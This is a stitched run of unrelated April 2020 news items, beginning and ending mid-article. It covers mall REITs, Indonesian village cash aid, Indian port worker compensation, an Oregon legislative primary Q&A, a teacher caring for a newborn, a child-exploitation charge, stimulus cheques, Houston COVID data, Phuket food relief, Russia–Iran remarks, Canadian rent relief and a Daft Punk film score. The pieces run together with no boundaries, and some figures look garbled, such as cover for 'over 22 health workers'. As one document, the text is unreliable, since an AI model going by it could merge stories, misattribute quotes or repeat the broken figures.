Taubman agreed to sell itself to Simon, with access to capital being a driving force behind the decision. Although that deal is still progressing, there is a risk that it won't get done because of the current market environment. News that states are starting to lift operating restrictions on non-essential businesses has put investors in a more positive mood. Eventually malls will reopen and the uncertainty in the sector will start to clear. And, in anticipation of better days, Wall Street is pushing the stocks of mall REITs higher. But even though more and more states are talking about reopening, the process is likely to be slow. For example, Simon, with a portfolio of around 200 mall and outlet centers, appears to be planning to reopen just 49 of its properties at this time. The mall portfolios of these REITs may not be fully operational for months. In other words, don't get too excited -- there's likely to be more volatility ahead. A notable piece of that will come from the fact that social distancing measures to slow the spread of COVID-19 are likely to push the U.S. into a recession. Consumer demand will wane, even if the malls are open. Consumers may not be willing to venture out into enclosed spaces filled with large numbers of people because of coronavirus concerns. This, too, would reduce demand. Simon's reopening plans include a number of measures to help keep customers safe, but it's not certain how well shoppers will take to the changes. Add in the stress already occurring in the retail sector and malls could see more store closures and bankruptcies. That would hit occupancy and rent rolls, and might even result in the need to give rent concessions to the tenants that remain. A lot needs to happen before malls are back to anything near a pre-COVID-19 operating environment, if that's even possible at this point. Now what Wall Street punished mall REITs when COVID-19-related closures began. The negative mood may have been a little too dire, which isn't surprising given that investors tend to go to extremes. The fact that states are starting to open back up is good news, and malls will, eventually, benefit. However, investors should approach this space knowing that mall REITs are not out of the woods yet. Uncertainty remains elevated, and only more aggressive investors should be looking at this niche of the REIT universe. A few strong upward moves won't change that. Share this article Whatsapp Facebook Twitter Linkedin Adrian Wail Akhlas (The Jakarta Post) Jakarta Tue, April 28, 2020 08:13 625 fc6853813033f564188675f8bd492a0b 1 Business village-funds,cash-aid,cash-transfer,family,COVID-19,social-aid Free The government has disbursed around Rp 70 billion (US$4.5 million) in cash assistance for some 116,000 families using village funds to help them cope with the severe economic and social impacts of the COVID-19 pandemic. Villages, Disadvantaged Regions and Transmigration Minister Abdul Halim Iskandar said 8,157 villages in 76 districts nationwide had disbursed Rp 600,000 to each registered family through both cashless and cash transfers. As we are currently in a national emergency, I am asking regional leaders to facilitate poor families to receive the cash assistance by prioritizing humanitarian efforts, Abdul told reporters during a press briefing on Monday. According to Villages, Disadvantaged Regions and Transmigration Ministerial Regulation No 6/2020, the government has allocated Rp 22.4 trillion from a total of Rp 71.19 trillion in village funds to disburse cash transfers for 12.3 million families affected by the crisis. The government will provide Rp 600,000 a month for three months to families that meet certain criteria, including whose members have lost their jobs and do not receive assistance from the Family Hope Program (PKH) and the staple-food card program. Villages with village fund allocations of up to Rp 800 million must set aside 25 percent of the money for COVID-19 cash assistance, while villages with funds of Rp 800 million to Rp 1.2 billion must set aside 30 percent from their budget. Villages with funds of more than Rp 1.2 billion must set aside 35 percent from their budget to provide the cash transfers, Abdul said. This does not mean that the villages cannot disburse more funds; they can increase the transfer if needed, said Abdul. We are hoping that the disbursement will be smooth as we need to prioritize humanitarian efforts. Upon being questioned how the government would oversee the disbursement of cash transfers, Abdul said that the government trusted village officials and volunteers to oversee the disbursement process. Concerns have grown over the disbursement of the governments social aid program to weather the economic and social impacts of the COVID-19 pandemic. If the COVID-19 aid funds are misused by state officials, such as regents, mayors, governors or ministers and their respective deputies, it will be difficult because the KPK [Corruption Eradication Commission] is very procedural; it needs to report to the President in handling those cases, former KPK deputy chief Mochammad Jasin said on Wednesday, warning that corruption could occur with so much aid being distributed during the current health crisis. The government has set aside Rp 436.1 trillion for stimulus programs, equivalent to 2.5 percent of the countrys gross domestic product (GDP), including Rp 110 trillion for social safety nets. The Ministry of Shipping has announced Rs 50 lakh compensation to all port employees, including contract labourers employed directly by ports and other contractual labourers, in case of loss of life due to COVID-19 while discharging the port-related duty. As per the government release, a port chairman will be the competent authority to settle claims or disburse compensation and to verify the cause of death from COVID-19. The compensation is applicable only for cases related to the COVID-19 pandemic and will be in force up to September 30, subject to review thereafter. The coronavirus crisis has posed various challenges for frontline workers in India. Recently, the Ministry of Health and Family Welfare entrusted New India Assurance with the issuing of health cover worth Rs 50 lakh to over 22 health workers. New India issued the policy on March 31 in the form of a tailor-made personal accident cover, which will be valid for the next 90 days. Also read: Coronavirus in India: COVID-19 cases set to cross 30,000; check state-wise tally, deaths, list of testing facilities The policy covers healthcare providers and community health workers who have come in close contact with COVID-19 patients during treatment. Private healthcare staff and workers are also detailed out in the order. As per the ministry, the aim of issuing this policy is to boost the morale of healthcare workers. India presently has the total confirmed novel coronavirus cases at 29,435, including 21,632 active cases, 6,868 recoveries, 1 migrated and 934 deaths, according to the latest update by the Union Health Ministry. Globally, the tally of confirmed COVID-19 cases has crossed 30 lakh with over 2 lakh deaths. Also read: Coronavirus India Live Updates: 1,543 new cases in last 24 hours, recovery rate improves to 23.3% Four Democrats are running in a highly competitive race to succeed longtime lawmaker Mitch Greenlick in the Oregon House district that spans parts of the greater Bethany area of Washington County and part of Northwest Portland. A legislative staffer, a doctor, a college professor and a lawyer are competing to represent House District 33, a highly educated, high-income district with an overwhelming Democratic edge in voter registration. All but legislative staffer Serin Bussell, who swore off donations larger than $500 after last October, have raised more than $64,000, with lawyer Christina Stephenson in the lead with $113,000 reported to date. The four have collectively raised almost $300,000, according to campaign finance reports as of Tuesday. Stephensons largest donors are the state nurses union and Oregon trial lawyers political committee. Doctor Maxine Dexter collected her biggest contributions from political committees representing hospitals, doctors and long-term care facilities. Andy Saultz, an education professor, has drawn his largest donations from the campaign fund of Sen. Elizabeth Steiner Hayward, a doctor who represents a district that overlaps Greenlicks. All four candidates want to limit tax breaks and public records exemptions. But the quartet bring different experiences and nuanced perspectives to their proposed leadership on lawmaking. Here are their answers to six key questions posed by The Oregonian/OregonLive designed to help Democratic party voters make their choice in the May 19 primary. Some responses have been lightly edited for length and clarity. Greenlick, who founded Kaiser Permanentes Center for Health Research and directed it for 30 years, has held the House District 33 seat since 2003. He announced early this year he would retire at the end of his current term, his ninth, and he was increasingly absent during the short legislative session due to health issues. What specifically in your track record would you point to that makes you the best Democratic nominee for Oregon and for your district at this time? Bussell: I am the only candidate who has worked for multiple Oregon state agencies, is a member of Oregons public employee retirement system, has worked in the Capitol (as chief of staff to Sen. Jeff Golden, D-Ashland) and is committed to putting racial, social, and economic justice first. I have the experience to know how hard public employees work, how important it is to fully fund government programs and how to be an effective legislator from day one. I am the only candidate living the values of saying no to big money now and will vote to limit campaign contributions when in office. Dexter: Three unique qualifications make me the best nominee: Im a lung and critical care physician on the frontline treating COVID-19 patients and I have proven I am unafraid to fight for what Oregonians need to be safe; 27% of our states budget goes to healthcare expenditures and Ive been a healthcare business leader at Northwest Permanente, giving me experience in healthcare policy, governance and fiduciary duties; I have a public health background and ability to clearly see we must as a state make a dramatic pivot now towards a comprehensive, affordable healthcare system and I will lead that effort passionately. Saultz: I am the only candidate who has served in elected office, having served as a school board member on the Okemos (Michigan) Public Schools Board of Education during the Great Recession. This experience taught me a tremendous amount about public service, leadership and budgeting. On the school board, we had massive budget cuts but avoided cutting any jobs and instead invested in expanded professional development and created programs to support at-risk students. Unfortunately, these are the conditions that we face now, and my skill set will be invaluable for rebuilding our economy and using government resources as efficiently and effectively as possible. Stephenson: I have spent my career as a civil rights attorney fighting for fairness and accountability. I have volunteered my expertise to pass legislation in Oregon that protects working people. Most recently, I led the drafting and negotiation of the landmark Oregon Workplace Fairness Act and helped pass paid family and medical leave. In addition, I helped draft a bill which would have increased enforcement of environmental, consumer and workplace safety laws. Finally, I helped ensure that civil rights laws in Oregon would be accessible to all by catching a major drafting error in Oregons Pay Equity law before it passed. Christina Stephenson, who is running to represent portions of Washington County and Northwest Portland in the Oregon House, speaks to a group of politically minded residents of the Cedar Mill neighborhood. Before the coronavirus crisis, the Portland metro area was enjoying a long-term economy recovery. But the benefits were not shared by some Oregonians in rural areas and even many in the metro area remained financially unstable as they depended on the gig economy. Whats one thing you could do as a state lawmaker to bring economic stability to more Oregonians? Dexter: The first thing I will do as a lawmaker to bring economic stability is make healthcare universal and affordable and decouple it from employment. The unpredictable and unacceptably high cost of healthcare is impairing our economy at every level, from the individual to the state budget. This coronavirus crisis has exposed our vulnerabilities clearly for all to understand and it is our best possible opportunity to take bold and definitive action to fix the system. I will lead with expertise and determined focus towards a system that helps make a healthier, more stable Oregon for all. Saultz: To bring economic stability to more Oregonians, we must financially support our small businesses and workers. I will work diligently to expand state-funded loans and grants for small businesses, ensuring that rural and low-income parts of the state are given their fair share. I will also work to ensure that every job provides a living wage and fair benefits because nobody should ever have to work more than one job. Even during our economic recovery, we must do more to share economic prosperity by giving small businesses and workers the support that they deserve and so desperately need. Stephenson: I see 2021 as an opportunity for us to build a system that works for all Oregonians. The to-do list is long, but reform within the gig economy will be a high priority. Industries that misclassify workers create tremendous economic instability by not contributing to workers compensation or unemployment insurance funds. In addition, I will prioritize enforcing existing laws that can generate income for the state and prevent subsidizing bad actors through non-enforcement. Finally, I will focus on ensuring that taxpayer dollars that are leveraged in any way are leveraged for the economic benefit of Oregon as a whole. Serin Bussell, left foreground, poses with supporters of her campaign for a seat in the Oregon House of Representatives. Bussell: First, gig economy workers are misclassified. They should be classified as employees, not independent contractors, making them eligible for unemployment benefits. Second, all people deserve access to unemployment benefits, including independent contractors and sole proprietors. Third, income tax payments on unemployment benefits must be administered equitably. Workers were on the brink before COVID-19 and many more are on the brink now. That is why we cant go back to status quo normal. We have to invest in Healthcare for All, an Oregon Green New Deal and housing for everyone and center the work with front-line, impacted communities leading the way. Oregon businesses have called for a suspension or temporary modification of the new gross receipts tax to fund education. Do you support this? Saultz: Giving businesses relief during these times should be a top priority but we still need funding for our education system. Despite the pandemic, schools are still in session and distance learning infrastructure is expensive. Even with the passage of the Student Success Act, we fall short of the Quality Education Model, making these funds incredibly important. Instead of suspending this tax, we can continue to fund public education and support businesses by temporarily increasing labor deductions. These direct actions encourage keeping employees employed, which should be our biggest economic goal right now. Stephenson: I dont support the suspension of the Student Success Act. The act provides investments in our schools that are more important than ever as we look toward long-term economic recovery following the pandemic. The act also includes a personal income tax reduction for many consumers, a crucial reduction that may prevent homelessness for some. As a small business owner, I know the hardships businesses are facing right now. This tax, however, affects only the top 10% of Oregon businesses and amounts to well under 1% of gross receipts over $1 million. Bussell: Now is exactly the wrong time to reduce revenue for education when people need it most. Businesses knew this tax was coming and had time to prepare, setting funds aside for their tax bill. Unfortunately, 30 to 40 years of austerity budgeting and budget cuts have left schools, workers and communities behind. Now, in addition to already woefully underfunded government systems like public education and public health, we find our economy in freefall without a safety net. Except for continuing to go to low-income Oregonians, the kicker income tax rebate should have been converted into a rainy-day fund years ago. Dexter: After discussing this issue with business owners small and large as well as educators, its clear there is no straightforward answer. Our governments responsibility is to balance the critical need for stronger education funding with the needs of our business community in the midst of this unprecedented crisis. For now, I believe it is best to leave the tax in place, reserving the right to make a more strategic decision in the future as we have more time to understand the economic impacts as well as what relief funding will be available from our federal government. Oregon has hundreds of public records law exemptions on the books, making it one of the less transparent states in the country. Is there any public records exemption you believe should be removed? Or a new public records exemption you believe lawmakers should add? Stephenson: I will absolutely encourage transparency in our government, which includes strengthening our public records laws. As an attorney, I fight for government whistleblowers and as a legislator, I would continue this fight for accountability. This is an area where I may deviate from some of my colleagues in the Democratic caucus; our Legislature must minimize public records law exemptions and ensure that those that remain truly serve the citizens of Oregon. I will also encourage transparency in my office by publishing my legislative calendar so people know who Im meeting with and what Im working on. Bussell: Transparency is vital for democracy. I believe healthcare providers should have to post the cost of procedures and services, with and without all types of insurance, publicly on their websites; private businesses and nonprofits should have to publicly disclose their employees salaries (in a way that protects individual employee privacy); and when government funds are involved on projects, through credits, subsidies, or contracts, budgets and spending must be fully transparent, even if projects have portions of private funding. With the exception of protecting victims, minors, proprietary information, intellectual property, vulnerable individuals, I see little reason for public records exemptions. Maxine Dexter, center in blue hat, poses with wet, cold supporters in the early days of her campaign, before coronavirus social distancing became the new norm. Dexter: Transparency is critical to making good policy and is important for gaining and maintaining the publics trust. I would revive legislation that died in the 2020 legislative session -- due to Republicans walking off the job -- which would transition the public records advocate into an independent role. I also support a thorough review of all current statutory exemptions to public records requests to make sure they are absolutely necessary. We should err on the side of transparency while prioritizing the privacy and safety of public employees. Saultz: Public record transparency is a foundation of democracy and Oregons lack of transparency is troubling. This creates significant ripple effects, ranging from corruption to mistrust of government. There are many public records exemptions that should be removed, for example, complaints made by students at public universities should not be exempt. It is also important that we give access to public records at little or no charge. I have heard far too many stories of folks being charged excessive and unnecessary fees for simply wanting access to information. This exacerbates inequities and disproportionately harms low-income Oregonians. Republicans succeeded in killing cap-and-trade legislation and Gov. Kate Browns executive order can only accomplish a fraction of the greenhouse gas emissions a new law would have achieved. What should the Legislature do next to reduce climate warming emissions? Bussell: I support an Oregon Green New Deal, which includes setting emissions limits, regulating polluters, investing in public transportation and funding a truly just transition for workers, to phase out fossil fuels. We must focus the work on justice and repairing past harm and making sure entities that have caused harm bear most of the costs for repair and that those who have been harmed no longer feel the negative effects and, in fact, benefit from the changes. Solutions to regulate industry or invest in sustainable energy and public transportation need to be grassroots and led by (the) impacted community. Dexter: I am a lung and critical care physician and see the impact of poor air quality on peoples health daily. There is a clear connection between particulate matter in the air and peoples risk for four of the top five causes of death in Oregon: heart disease, stroke, respiratory disease and cancer. The health of our people must be our top priority; clean air and clean energy are fundamental to achieving this. We need to mandate renewable diesel, enact clean diesel engine standards for off-road/construction engines and take action to get Oregon to reach 100% clean electricity by 2045. Andy Saultz, a college professor running for a seat in the Oregon House, poses with his partner, Jenny Saultz, and their children, JD, 3, in blue and Alex, 2, in overalls. Saultz: We need to bring the cap and invest discussion back in the 2021 legislative session and pass serious climate legislation that creates a sustainable system. In addition to passing cap and invest legislation, we need to invest in green energy infrastructure, transition our energy consumption to 100% renewable sources and redesign our transportation system to create walkable neighborhoods that are connected by green public transportation. If done correctly, these projects would create a sustainable system moving forward and a significant number of family-wage clean energy jobs. Stephenson: We must urgently address climate change and work to maintain and expand gains in air quality made during this pandemic. The pandemic presents an enormous opportunity for us to build a climate resilient economy that works for the majority of Oregonians. Every new law must be evaluated in terms of whether it will help us meet our climate goals. In making this evaluation, we must ensure that front-line communities do not continue to disproportionately bear the burden of climate change. The Legislature should assist businesses in adapting to climate change, rather than blindly subsidizing the status quo. The market downturn has further undermined the funded status of Oregons public pension system, which will lead to further cost increases for public employers. Is there anything further you think should be done to address the problem? Dexter: I do not support further cuts to public employees pensions. I will work with lawmakers to find alternatives to fill the budget gap, and it cannot be done on the backs of public employees. Only one third of our unfunded liability is from current workers, therefore the issue will improve if managed over time. I support surveying other 401(k) style plans to assess all pros and cons, then make comparisons with other states. Our public employees deserve a living wage and a stable total compensation package that can be relied upon to support them through their retirement years. Saultz: We should eliminate the personal income tax kicker to pay down the Public Employee Retirement Systems unfunded liability. It is bad policy to refund tax revenue while we are in debt. Additionally, economic forecasting is inexact and never having a budget surplus is a problem. This year we are experiencing the flaws of this policy as the economy suffers and the need for state resources increases. The kicker also makes it challenging to build the necessary infrastructure when there is an unforeseen population increase. We are seeing these effects with the overcrowding of our schools, roads and other essential services. Stephenson: I oppose reducing Oregon public employee retirement benefits, particularly in light of the sacrifices by firefighters and other front-line workers during this crisis. In any event, the Supreme Court has repeatedly held that the state cannot reverse these contracts and we should not waste more money litigating these issues. Our focus must be on revenue reform and ensuring that the costs of vital services are equitably borne throughout our economy. The costs of providing public services should be viewed in the context of the entire system; focus on healthcare reform, for example, would pay vast dividends for Oregons budget. Bussell: Yes, we need to look at ways to raise revenue. That means going through each of the 350-plus tax credits in state law and eliminating the ones that do not generate equitable outcomes. We also must remember that public employees are your bus drivers, your school teachers, your first responders, your child welfare workers and more. They work hard and they get paid less than folks in equivalent private sector work, and every worker deserves a retirement. Every worker. Especially now, we need economic security for all and to catch people who fall through the gaps. -- Betsy Hammond; betsyhammond@oregonian.com; @OregonianPol -- Hillary Borrud; hborrud@oregonian.com; @hborrud Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. A Connecticut school teacher is being hailed a hero after taking on the care of the newborn baby brother of one of her students, after his entire family tested positive to coronavirus. Luciana Lira, 32, is a teacher at Hart Magnet Elementary in Stamford, where her students include a seven-year-old Guatemalan asylum seeker named Junior. On April 4, Luciana received a call from Junior's mother, Zully, who explained that she had tested positive to COVID-19 and was going into labor. Zully told Luciana that she and her husband had no one else in the United States to help them out, and had listed her as their emergency contact. Luciana quickly called Zully's husband, Marvin, who explained that both he and Junior believed that they had also come down with the coronavirus and were awaiting test results. Marvin told Luciana that he was worried that he might potentially infect his newborn, and asked her a stunning question: Would she take care of the baby until he received test results that cleared him of COVID-19? Luciana made a spur-of-the moment decision and selflessly said yes. Elementary school student Luciana Lira, 32, has become a temporary guardian for a newborn boy named Neysel, whose parents were both struck down with coronavirus Guatemalan asylum seeker Zully (pictured) was diagnosed with COVID-19 while eight months pregnant. She called her older son's elementary school teacher, Luciana, to ask for help given that she knew nobody else in the United States Healthy baby Neysel was born on April 4. With both of his parents sickened by coronavirus, the adorable newborn was taken home by Luciana Lira Doctors performed an emergency C-section on Zully, delivering her a baby boy named Neysel. But while the newborn was healthy, Zully was gravely ill with the coronavirus and was quickly placed onto a ventilator. Luciana, meanwhile, became a temporary guardian and took baby Neysel home to her husband, Alex. Less than a week later, test results returned showing that Marvin and young Junior had both tested positive for COVID-19, meaning that Luciana would be tasked with caring for baby Neysel longer than anticipated. However, the selfless teacher was up to the task - stepping in to become an instant mom while simultaneously continuing to teach her elementary school students remotely. Luciana's student, seven-year-old Junior, and his father, Marvin, are pictured on April 24. Both have tested positive to COVID-19 and have yet to meet baby Neysel in person Luciana became a temporary guardian and took baby Neysel home to her husband, Alex (pictured) New mom Zully is pictured in the hospital. She spent nearly two weeks on a ventilator before her condition improved Miraculously, on April 18, Zully was taken off the ventilator after her condition improved. Two days later, she was finally able to be introduced to her newborn baby boy via a Zoom video call. Heartwarming snaps taken during the occasion show Luciana holding up Neysel as he appears to wave at his mom who is on the screen. Zully was seen smiling back as she sat staring at her phone from her hospital bed. On April 20, Luciana introduced Zully to baby Neysel for the first time via the video app Zoom Heartwarming snaps show Neysel as he appears to wave at his mom through the screen Luciana is pictured holding up baby Neysel so he can be introduced to his family Zully is pictured with a photograph of her newborn son in the hospital on April 24 On April 24, Zully was released from hospital and was allowed to return home. She was escorted back to her residence via ambulance, where she was reunited with husband, Marvin, and older son, Junior. The trio are all still suffering from coronavirus, and will have to wait to be cleared of the virus until they can finally meet little Neysel in person for the very first time. Luciana says she is willing to look after the newborn until his family are fit and healthy again. The selfless teacher has won praise from friends and strangers alike. One old associate paid tribute to Luciana on Facebook, writing: 'This pandemic is not what any of us imagined...but this unselfish act reminds us that our humanity makes us all essential. How will each of us respond when we are asked to simply show up and help?' On April 24, Zully was released from hospital and was allowed to return home Zully was escorted back to her residence via ambulance, where she was reunited with husband, Marvin, and older son, Junior Zully is pictured with a medic clad in a hazmat suit after she returned to her home in Stamford Zully, Marvin and Junior are all still suffering from coronavirus, and will have to wait to be cleared of the virus until they can finally meet little Neysel in person for the very first time Junior is praying he can meet his little brother in the near future. In the meantime, his teacher is tasked with taking care of the newborn Luciana is pictured with Neyesel at her home on April 20. The selfless teacher has won praise from friends and strangers alike Syracuse, N.Y. An Upstate New York man appeared in federal court Monday in Syracuse on a charge that he sexually exploited a 5-year-old girl, according to the U.S. Attorneys Office. Patrick M. Kain, 33, of Norwich, Chenango County, was charged with sexually exploiting a child, the U.S. Attorneys Office announced in a news release Monday. Kain was on the state sex offenders registry for a previous sex abuse conviction. In the new federal charges, Kain is accused of taking a cell phone video of himself sexually abusing the young girl, according to a criminal complaint filed in the Northern District of New York. The nearly three-minute video showed the girl sleeping under covers, while a man whom police say was Kain inappropriately touched her, according to the complaint. State police investigators and an FBI special agent investigated the case. State police also reported finding several other videos with sexual content on Kains cell phone, which he apparently inadvertently left in someone elses car on April 15 without a passcode to lock the phone, according to court papers. Someone saw the images on the phone, which was turned over to state police. A week later, on Wednesday, state police charged Kain with the state crimes of first-degree sexual abuse, promoting a sexual performance by a child, possessing a sexual performance by a child and use of a child in a sexual performance. Five days after that, on Monday, U.S. Attorney Grant C. Jaquith and Susan Ferensic, acting special agent in charge of the Albany field office of the Federal Bureau of Investigation (FBI), announced they, too, had arrested Kain. The federal complaint said Kain is a Level 1 registered sex offender because he was convicted of first-degree sexual abuse in New York state. Level 1 is the lowest level of sex offenders; they are deemed a low risk offend again. Kain was convicted May 23, 2014 of first-degree sexual abuse, according to prosecutors. Reports from that investigation said Kain had sexual contact with a 12-year-old girl, the federal complaint said. If convicted of the new federal charge, Kain faces a mandatory minimum prison sentence of 25 years, a maximum sentence of 50 years, a fine of up to $250,000, plus a term of post-imprisonment supervised release of at least 5 years and up to life. A defendants sentence is imposed by a judge based on the particular statute the defendant is charged with violating, the U.S. Sentencing Guidelines, and other factors. Kain appeared Monday before U.S. Magistrate Judge Miroslav Lovric and was detained pending further proceedings. The FBI, the New York State Police and Chenango County District Attorneys Office are continuing to investigate. Have a tip or a story idea? Contact Catie OToole: cotoole@syracuse.com | text/call (315) 470-2134 | Twitter | Facebook Cheques sent to US citizens as part of the governments coronavirus stimulus package are arriving with a signed letter from Donald Trump, amid accusations that the White House is politicising the payments. The $2.2trn relief bill passed by Congress is aimed at combating the economic impact of the pandemic. People who earn less than $99,000 a year will receive up to $1,200 as a one-off payment. But the programme has drawn controversy over claims that the Trump administration has used the payments as a political tool to improve his reelection chances. The controversy first erupted when it was reported that the delivery of cheques was being delayed in order to add Mr Trumps name to them. According to the Washington Post, which first reported the delay, it is customary for a civil servant to sign cheques issued by the Treasury Department to ensure that government payments are nonpartisan. When the cheques did arrive, Mr Trumps name appeared on the memo line. The move prompted Senate minority leader Chuck Schumer to push for a measure in the next coronavirus package that would prevent Mr Trump from adding his name to any future stimulus cheques. The No PR Act would prohibit the use of federal dollars for any material that promotes the names or signatures of Trump or Vice President Mike Pence, according to Politico President Trump unfortunately appears to see the pandemic as just another opportunity to promote his own political interests, Mr Schumer said in a statement. The No PR Act puts an end to the presidents exploitation of taxpayer money for promotional material that only benefits his re-election campaign. In response to criticism over his name appearing on the cheque, Mr Trump said: "Well, I don't know too much about it, but I understand my name is there. I don't know where they're going, how they're going. "I don't imagine it's a big deal. I'm sure people will be very happy to get a big fat beautiful cheque and my name is on it," he added. The letter, which was not mentioned by Mr Schumer but will likely fall under the new legislation, is printed on White House letter headed paper and signed by Mr Trump. Every citizen should take tremendous pride in the selflessness, courage and compassion of our people. America's drive, determination, innovation and sheer willpower have conquered every previous challenge and they will conquer this one too, the letter reads. More than 88 million people have already received their payments by cheque or direct deposit, according to the Treasury Department. More than 60 million people are still waiting for their payments, according to CNN. Harris County ZIP codes in areas located in some of Houston's suburbs, such as Kingwood and Clear Lake, are among some of the areas with the lowest number of confirmed cases of the novel coronavirus in the region, according to the latest available data from Harris County Public Health. While COVID-19 cases are appearing to slowly lower across Texas and Houston, city and state leaders are urging residents to be cautious and to continue to follow social distancing orders. ON HOUSTONCHRONICLE.COM: Where are Harris Countys COVID-19 cases? Concentrated in at-risk neighborhoods "There is no vaccine that is available right now...the virus is still here," Houston Mayor Sylvester Turner said during a Monday press conference. "I know the numbers are favorable, but every day we are adding to the number of people testing positively." As of April 27, the number of COVID-19 cases in Texas had risen to 25,786 with a death count of 688, according to the Houston Chronicle's data team. Harris County is now at 5,827 cases total, with 160 deaths in the Houston region. REOPEN THE STATE: Abbott announces which Texas businesses can and can't open May 1 Using the most recent available data from the Harris County Public Health, Chron.com compiled the Harris County ZIP codes with the least confirmed number of COVID-19 cases so far. These ZIP codes have 25 cases or less as of April 27, which is the latest available data. Turner said during the conference that with Gov. Greg Abbott's executive order to end the stay-home order and slowly reopen businesses, the city will continue to focus on expanding testing to vulnerable communities in an effort to more accurately track and stop the virus. Beginning Tuesday, the Houston Health Department will deploy new mobile health units to screen any residents for free, regardless of a lack of symptoms. The mobile units will be at the following locations and will be open 10 a.m. to 4 p.m. Monday-Friday, 10 a.m. to 2 p.m. Saturday: April 28 - May 2: Kashmere Multi-Service Center, 4802 Lockwood Drive, Houston May 5-9: Hiram Clarke Multi-Service Center, 3810 W. Fuqua Street, Houston May 12-16: Third ward Multi-Service Center 3611 Ennis Street, Houston Those with questions about mobile testing can contact the Health Department COVID-19 call center at 832-293-4220 It is important to note that the number of actual coronavirus cases in the region is still unknown due to a lack of testing kits and access to sites in some areas. Some ZIP codes may be affected due to the presence or lack of sites. Confirmed COVID-19 cases are updated on the county's website each day. The numbers for the ZIP codes mentioned in this story are as of 4 p.m. Monday, April 27. Click through the photos above for a look at some of the Harris County ZIP codes with the least number of confirmed cases so far, ordered from highest to lowest... Rebecca Hennes covers community news. Read her on our breaking news site, Chron.com, and on our subscriber site, houstonchronicle.com. | rebecca.hennes@chron.com Royal Kitchen cooking up 34,000 free meals for Phukets COVID-afflicted PHUKET: The Royal Thai Army is coordinating a mass food-relief campaign as part of a Royal Initiative to feed 1,000 people in each of Phukets 17 subdistricts two meals a day. COVID-19Coronaviruseconomics By The Phuket News Tuesday 28 April 2020, 06:59PM Lt Gen Pornsak Poonsawat, Commander of the Fourth Army Region base, hands out one food delivery, ready to go. Photo: PR Dept Lt Gen Pornsak Poonsawat, Commander of the Fourth Army Region base, was in Phuket yesterday (Apr 27) to launch the campaign, Royal Kitchen. Present to welcome the general at Thalang Phra Nang Sang School in Tambon Thepkrasattri was Phuket Governor Phakaphong Tavipatana. The Tambon Lockdown restrictions, prohibiting all non-essential travel between subdistricts in Phuket, had caused considerable hardship among residents, costing them income from being unable to work, Lt Gen Pornsak said We are here to help all regions in Phuket to alleviate the initial suffering by providing food and consumables, he said. The project is a Royal Initiative following His Majesty King Maha Vajiralongkorn Phra Vajiraklaochaoyuhua and Her Majesty Queen Suthida Bajarasudhabimalakshan expressing their concerns for people facing many difficulties in life due to the COVID-19 outbreak. Their Majesties have made donations through the Royal Initiative Volunteering project, whose volunteers are the people organising, cooking and delivering the food packed in what are being called lunch boxes. The campaign began yesterday and continues through Thursday night, with a major food distribution centre set up in each of Phukets three districts: at Saphan Hin Park, providing meals to 1,000 residents in each of Muang Districts eight subdistricts at Loma Park, Patong, providing meals to 1,000 residents in each of Kathu Districts three subdistricts at Thalang Phra Nang School, Thepkrasattri, providing meals twice a day for 1,000 people in each of Thalang Districts six subdistricts The Phuket Coronavirus disease 2019 (COVID-19) Incident Command Center this afternoon posted how people can register for the project, by scanning a QR code and registering online or by calling their local coordination centre directly, and where the meals can be collected in each subdistrict. The raw ingredients used are all good quality products and we are cooking with appropriate practices in recognition that it is the middle of Ramadan. We would like to show concern for our Muslim brothers and sisters, Lt Gen Pornsak said. And please, everyone wear a face mask and observe social distancing. If all parties help each other, the situation in Phuket will improve, and I assure that the army is ready to help the people, he added. And always provide assistance in all aspects [of coping with the COVID-19 crisis], like this field kitchen today, because Phuket itself is the heart of the southern region. The heart of the domestic economy. May everyone be patient in order for life to return to normal quickly, Lt Gen Pornsak said. Russia slams US 'hypocrisy' for condemning IRGC satellite with 2231 UNSC resolution Iran Press TV Monday, 27 April 2020 2:07 AM Russia's Permanent Representative to the United Nations has slammed Washington's "hypocrisy" for condemning Iran's recent launch of an Islamic Revolution Guards Corps satellite citing UN Security Council resolution 2231. "US claims that recent launch of a military satellite by Iran was a violation of 2231 UNSC resolution. Wrong interpretation," Mikhail Ulyanov said in a tweet on Sunday. "But there is also a different curious aspect- the US attempt to build on the resolution, which It undermines by all possible means. Double standards and hypocrisy," he added. On Wednesday, US Secretary of State Mike Pompeo claimed Iran "needed to be held accountable" for violating the UNSC resolution after launching its first ever military satellite earlier in the day. This is while the resolution in question calls on Iran "not to undertake any activity related to ballistic missiles designed to be capable of delivering nuclear weapons, including launches using such ballistic missile technology." Resolution 2231 was passed to endorse the multilateral Iran 2015 nuclear deal, which the US withdrew from in 2018, as highlighted by Ulyanov in his tweet on Sunday. Ever since withdrawing from the nuclear deal, Washington has sought to couple widespread economic sanctions with provocative military deployments to the region in a bid to weaken Iran as part of a campaign of "maximum pressure". NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address AMMAN, April 27 (Xinhua) -- China's State Development & Investment Corporation (SDIC), a key partner of Jordan's Arab Potash Company, announced donation of medical supplies worth 1.2 million U.S. dollars to help Jordan fight the COVID-19 outbreak. Bai Tao, chairman of SDIC Group, said in a statement released on Sunday that his group is keen to help the Jordanian government curb the epidemic. The donated medical supplies include 60,000 N95 face masks, 5,000 protective suits, 5,000 protective masks and 5,000 protective goggles, according to the statement. On Friday, federal and provincial leaders announced a venture aimed at providing financial relief to small businesses and commercial landlords whose balance sheets have been thrown into disarray by COVID-19. Expected to be ready by mid-May, and retroactive to April 1, The Canada Emergency Commercial Rent Assistance Program (OCECRA) will provide more than $900 million to Canadian business owners struggling to meet their monthly rent obligations. Under the terms of the program, a propertys owner and tenant would both be expected to pay 25% of a propertys before profit costs. The federal and appropriate provincial government would provide the remaining 50% in the form of forgivable loan to the property owner. Essentially, small business owners would see their rental costs reduced by 75%, while owners would see their costs rise by 25%. To be eligible for the program, a small business tenant must pay less than $50,000 in gross monthly rent and be experiencing at least a 70% decrease in pre-COVID-19 revenues. Owners of commercial properties with a residential component are also eligible for the program, but only as it relates to their commercial tenants. French electronic duo Daft Punk will be providing the score for veteran Italian filmmaker Dario Argento's next "Black Glasses". The duo, comprising of Manuel de Homem-Christo and Thomas Bangalter, had last provided the background score for 2010 sci-fi film "Tron: Legacy". Argento, best known for making horror classics such as "Suspiria" and "Inferno" told Italian outletRepubblica that Daft Punk approached him with the idea of them composing the background score, reported FilmStage. "They are my admirers, they know all my cinema. They heard from French friends that I was shooting a new film and called me (to say), We want to work with you'," the 79-year-old director said. Argento further said that the duo believe "Black Glasses" script is one of his most interesting" work and have started working on the music for the film. The film will feature his daughter, actor Asia Argento in the lead. The director called the 